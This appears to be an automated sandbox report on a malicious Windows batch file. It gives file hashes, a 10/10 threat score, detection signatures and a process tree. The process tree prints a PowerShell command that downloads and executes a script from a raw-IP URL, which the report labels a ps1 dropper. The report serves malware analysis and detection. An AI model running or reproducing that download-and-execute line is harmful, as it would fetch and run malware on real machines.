Analysis
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max time kernel
146s -
max time network
148s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
04-08-2020 12:31
General
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Target
e241deaf6f1e1d0d13589a66c942bc3b.bat
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Size
216B
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MD5
c79f7f4fe4b00e41b6dce691ba63a8ae
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SHA1
b8f15e882ed45e2278545ad4e686e16cb1787dc3
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SHA256
2805f33e7f7992595a10507ddb57e5bcb3ed34d8b6e8dcfa984ef77c31037132
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SHA512
b20d2b133be14683663d795b6c2abf5fb2b23a2b87cc9ddbba1218dbd5d9704d112d13d51e6cb62f18297c8797d2c3152501bc35f1f97af2821c19d201a40034
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/e241deaf6f1e1d0d13589a66c942bc3b
Signatures
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Suspicious use of WriteProcessMemory 3 IoCs
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Program crash 1 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious behavior: EnumeratesProcesses 13 IoCs
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ServiceHost packer 6 IoCs
Detects ServiceHost packer used for .NET malware
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e241deaf6f1e1d0d13589a66c942bc3b.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/e241deaf6f1e1d0d13589a66c942bc3b');Invoke-KXXKRQWJL;Start-Sleep -s 10000"2⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3688 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
4KB
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Filesize
4KB
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